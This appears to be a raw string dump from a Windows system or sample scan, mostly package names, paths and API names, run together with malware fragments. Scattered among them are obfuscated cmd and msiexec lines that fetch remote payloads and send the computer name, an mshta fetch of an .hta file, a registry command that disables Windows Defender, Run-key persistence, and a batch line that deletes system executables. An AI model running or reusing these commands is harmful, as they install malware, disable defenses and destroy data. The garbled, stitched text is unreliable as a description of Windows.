Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwesof
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwews.
ofMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbweien
windows.fileTypeAssociationrosof
 http://www.microsoft.com/windows0
capabilityRule_Windows
principalClass_Windows
./Device/Vendor/MSFT/WindowsDefenderApplicationGuard/InstallWindowsDefenderApplicationGuard
windowsadvancedthreatprotection
windowslicensing
windowssecurityauditing
c:\windows\system32\cmd.exe/d/ccmd<
#[windows.forms.clipboard]::getimage()
Hpowershell-windowstylehiddeninvoke-webrequest
WindowsLicensing
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.TaskScheduler
NtUserAlterWindowStyle
NtUserArrangeIconicWindows
Microsoft.Windows.Search.Indexer.Aggregated.High
Microsoft.Windows.Search.Indexer.Aggregated.Low
windows.hlp`
, Windows is stillO
onecoreuap\shell\windows.system.launcher\lib\windows.system.remotelauncher.cpp
onecoreuap\shell\windows.system.launcher\lib\windows.system.remotelauncheroptions.cpp
onecoreuap\shell\windows.system.launcher\inc\CallerInformation.h
onecoreuap\shell\windows.system.launcher\inc\TargetAppResolver.h
onecoreuap\shell\windows.system.launcher\lib\targetappresolver.cpp
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
varshellcode=unescape("%u9090%u9090"+//windowsexecutecommand(calc)
cmdrun="hkcu\\software\\microsoft\\windows\\currentversion\\run";
Windows.Desktop
Windows Desktop
EVT-Windows-C++-No-3.8.249.1I$267AA2FD-A9BD-49E5-88F7-34B07FB16FA4q
\windows nt\currentversion
$@Windows.Data.PersonalizationThemes.
Windows.Data.Platform.Partitioning.Device
Windows.Data.Input.Text.UnigramList0
WindowsVersion
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
onecoreuap\windows\cdp\common\internal\winshared\BluetoothRadioHelpers.h
onecoreuap\windows\cdp\shared\SameUserAuthPolicy.h
onecoreuap\windows\cdp\shared\AppControlPermissiveAuthPolicy.h
Microsoft.Windows.PrintQueueAca
'Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
+Microsoft.Windows.StartMe
Windows.Internal.Devices.Lights.Backl
index.windows:1:50714)
?WindowsDispatch@CWinMsgEvent@@CAXXZ
WindowsIdentity
WindowsImpersonationContext
MicrosoftWindows.Client.CBS_1000.261
Windows is expected to use the cert store ONLY
SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceRegistration
windows_issuer
windows_thumbprint
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Management.Deployment.h
.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\
"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXfkd8mejksk4ancwf4vtyhmkvtzn1jcbs.mca
windows\prefetch
:\windows\prefetch
\windows\prefetch
WindowsAccountType
regadd"hkey_local_machine\software\policies\microsoft\windowsdefender"/v"disableantispyware"/d1/treg_dword/f
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
ynglefuglsjanushovedakindlesoftware\microsoft\windows\currentversion\clr\startclrstartknivafbryderen\optagelseskriteriernervsitetens%hovedgadens%\kontrolpunkternes.ini
GetSystemWindowsDirectoryW
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
c:\t1gaffes>.gaffes2undenigratedfretful.js^.undenigratedfretful.js&)..\..\..\..\gaffes\undenigratedfretful.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%
%systemroot%\system32\svchost.exe -k netsvcs
software\microsoft\windows nt\currentversion\svchost
\systemroot\system32\drivers\plxpci.sys
\wtime.exe\server.dll\SystemRoot\system32\DRIVERS\plxpci.sys\asc3551.sys\drivers\plxpci.sysplxpciSYSTEM\CurrentControlSet\Services\%s\Parameters\user32.dllGetActiveWindowserver.dlls
winlogon.exe
*c:\windows\system32\svch0st.exe.htmget.aspget.htmlgetwindows firewallwindows98windows95windowsntwindows2000windows2003fuckwebreferer: http://www.baidu.com3
c:\windows\system32\ircaddon.exe-lamerzstartbotoistopbotoisocke
%SystemRoot%\System32\svchost.exe -k netsvcsEnumProcessModules\usbpda.dll\usbpdaup.dll
[hkey_local_machine\software\microsoft\windows\currentversion\explorer\shellexecutehooks]winsys.regc:\windows\system32\tmpfile
%%systemroot%%\system32\Rundll32.exe %%systemroot%%\system32\%s.dllDllUnregisterServer
%%systemroot%%\system32\regsvr32.exe /s %%systemroot%%\system32\%s.dll\SystemRoot\system32\drivers\%ws.sys
\SystemRoot\system32\%ws.dlluserinit.exe
SYSTEM\ControlSet00%u\Services\Tcpip\Securitysystem32\%s
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft Windows0
=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCompareStringOrdinal
Windows.Foundation.FoundationContract
Windows.Foundation
Windows.Foundation.UniversalApiContract
Windows.ApplicationModel
Windows.Foundation.Collections
WindowsFlightMapping
Windows.System
Windows.Storage.Streams
Windows.Storage.Provider.CloudFilesContract
Windows.Storage.Provider
)pWindowsk
/irs_Windows NT 5.1; en;) Gecko
9\windows nt\currentversion\hotfix\q246009ie:pps
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
&\Device\HarddiskVolume3\Windows\System32\winlogon.exe
!#Windows_Hello_Secure_Devices_PCA_2018
C:\WINDOWS\SYSTEM32\ACCTRES.DLL> 
C:\WINDOWS\SYSTEM32\DOT3API.DLL> 
 "c:\\windows\\explorer " +I
<MicorSoft\Windows\CurrentVersion\Uninstall\360int.dpool.sina.com.cn/iplookup/iplookup.phphttp://t.cnSoHuVA_4.2.0.16-c204900003-ng-nti-tp-s-x.exe
aeQ?windows\system32\cmd.exe!.p
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
system32\drivers\kbasesrv.sys
system32\drivers\kavbootc64_ev.sys
\system32\([^\]+%.exe)$
c:\windows\system32\
c:\windows\syswow64\
c:\$windows.~bt\
MicrosoftVisualStudioWindowsForms
USERDOMAIN=Windows11.
windir=C:\WINDOWS
delc:\windows\*.exedelc:\windows\system32\*.exedelc:\windows\system32\*.cplsetalldrive=cdefghijklmnopqrstuvwxyzfor/l%%ain(1,1,1000)dofor%%bin(%alldrive%)domd%%b:\%random%%random%%random%%%a..
WindowsRuntime 1.4
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Defender.MpUxDlpSystemapp:system2026-02-24 08:06:142026-02-24 08:06:14k
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLIapp:immersive2026-02-21 11:25:032026-02-21 11:25:03y
PlaceholderTileCollection)&Windows.Data.(
&.NET Docking Library for Windows Forms
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy
C:\WINDOWS\system32\drivers\etc\hosts.ics
\SystemRoot\system32\drivers\CEA.sys
s\system32\cmd.exe/v:on/d/cmshta"java
ILd=microsoft.windowsazure.commands	
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows.Data.QuickActions
Windows.Data.SharePicker.CopyLinkMRUItemD
.run"c:\windows\pchealth\
<Windows\Fotoernes\Uninstall\Inhalatoren224Farvebaandsomskifteren.txtApplication Data\camelhair.udg
jOYBwcmd.exedraft/d/q/cs^ta^rtm^s^ie^xec-q^d^yv=m^o^yuw-f^v"http://gz.qa:8080/ylyxedpebamemyslbmlwwmpga8/%computername%"tc^rh^x^j^u^t=^z^d^d%windir%\system32\imageres.dll%
hcmd.exearchivex/x/r^s^t^a^rtmsiexe^cf^f=jm/^f^v"http://q0.wf:8080/yky1/dv4y40jnzhnsukgznzcdox3a2njutzjlnr/%computername%"-q^u^ie^t!%systemroot%\system32\shell32.dll%
c:\windows\system32\cmd.exe/d/e/v/cs^t^ar^t^msie^x^e^cdns=^gl/f^v"http://2i.wf:8080/b/oy/w/xycf/tsqf/8zmh6br/oo/!computername!"bkxxa^z^h^dr=um^zokk^o^e-qnshell32.dll
*~powershell.exeanydeskinstaller?..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe:.$env:c:\w*\s*2\m*h?a.*'https://zupermann.com/s/as.hta'shell32.dll%wn]
c:\windows\system32\cmd.exearchivefile/v/csta^rt^m^s^i^ex^ec^p^m^z^o^n=r^s^mi^p-^qu^i^et-^pa^ck^ag^e"http://2t.pm:8080/uyb8kmdm/ecr8sezpwg/d/9yznmuii//!computername!
windows on taskbarR
similar windows on taskbarX
group similar windows on taskbar[
to group similar windows on taskbar`
DriverData=C:\Windows\System32\Drivers\DriverData
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
5@t-command'get-windowsfeature'-erroractionsilentlycontinue){get-windowsfeature-nameweb-server|convertto-json|out-file
http://update.windowssettings.org/patchwmp/__asf_script_command_ends_here__
\\?\globalroot\systemroot\system32\advapi32.dll
c:/windows/system32/drivers/dxgkrnl.sys
c:/windows/system32/d
Windows
start-processc:\windows\syswow64\rundll32.exe$dest,
NtUserUnhookWindowsHook
NtUserUnhookWindowsHookEx
NtUserUnlockWindowStation
NtUserUpdateWindows
OkayToCloseWindowStation
PatchThreadWindows
ReferenceWindowStation
WindowStationOpenProcedure
_GetProcessWindowStation
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Gaming.Input
Windows.Gaming.Input.pdb
Wutasklist /FI "IMAGENAME eq %ProcessName%" | findstr /I "%ProcessName%" >nulpowershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"powershell -ExecutionPolicy Bypass -FileYXJ0T25EZW1hbmQ+dHJ1ZTwvQWxsb3dTdGFydE9uRGVtYW5kPgogICAgPEVuYWJsZWQ+dHJ1Zc:\windows\iivisc
MicrosoftWindows.Client.CBS_cw5n1h2txyewyn1h2txy
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
windows.fileTypeAssociation8weky
Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbweperatio
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591
amd64_microsoft-windows-c..riencehost.appxmain_31bf3856ad364e35_0.0.0.0_none_82b10a034e27a35b
amd64_microsoft-windows-c..st.appxmain.desktop_31bf3856ad364e35_0.0.0.0_none_090d97b3c47b4999
amd64_microsoft-windows-cloudexperiencehostapi_31bf3856ad364e35_0.0.0.0_none_6eb9f65348708271
amd64_microsoft-windows-d..cydefinition-system_31bf3856ad364e35_0.0.0.0_none_491d2749db0c380d
amd64_microsoft-windows-oobe-core-adapters_31bf3856ad364e35_0.0.0.0_none_f1c13d7053d40148
amd64_microsoft-windows-oobe-machine-plugins_31bf3856ad364e35_0.0.0.0_none_4f2ec47607b94428
amd64_microsoft-windows-oobe-policies_31bf3856ad364e35_0.0.0.0_none_314f3b50c79f3ab0
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy)T
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
yMicrosoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1742D
Microsoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Windows-Identity-Foundation
ssMicrosoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742Conten
Microsoft-Windows-Identity-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-Subsystem-Linuxontaine
Microsoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742\
Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Lxss-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Lxss-Package~31bf3856ad364e35~amd64~~10.0.26100.1742 
Microsoft-Windows-Client-Optional-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-Lxss-Optional-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1
6Microsoft-Windows-Lxss-Optional-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1
QMicrosoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy/
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe#
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwevk
Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwecy
Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbweperatio
windows.protocol
WindowsAI
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742B
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.174220
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742
icrosoft\windows\pfvpx3nighe\ewmhxvj
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
4b^windows.appExtension
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|cat|
"$software\microsoft\windows\currentversion\app paths\360safe.exes
108^com.microsoft.windows.extensionpackage
109^com.microsoft.windows.app.windowspeopleexperience
com.microsoft.windows.app.windowspeopleexperience
10a^com.microsoft.windows.extensions.xaml.windowspeopleexperience
com.microsoft.windows.extensions.xaml.windowspeopleexperience
andhide("\windowsservices.exe")f
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-PeerDist-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-PeerDist-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.15911
VMicrosoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
1&Microsoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~~10.0.26100.15910
__Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
FMicrosoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.26100.15918
%Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
!Microsoft-Windows-SMB1Deprecation-Package~31bf3856ad364e35~amd64~~10.0.26100.1H
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
7Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
4 Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
1Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
DOMAIN=Windows11
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/15"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/15"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:desktop6="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11">
Microsoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-WindowsCore-Network-FlowSteering-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-WindowsCore-Network-FlowSteering-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-ShellLauncher-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Containers-OptionalFeatures-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-ClientForNFS-Infrastructure-OptGroup-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-ClientForNFS-Infrastructure-OptGroup-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-PAW-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-PAW-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
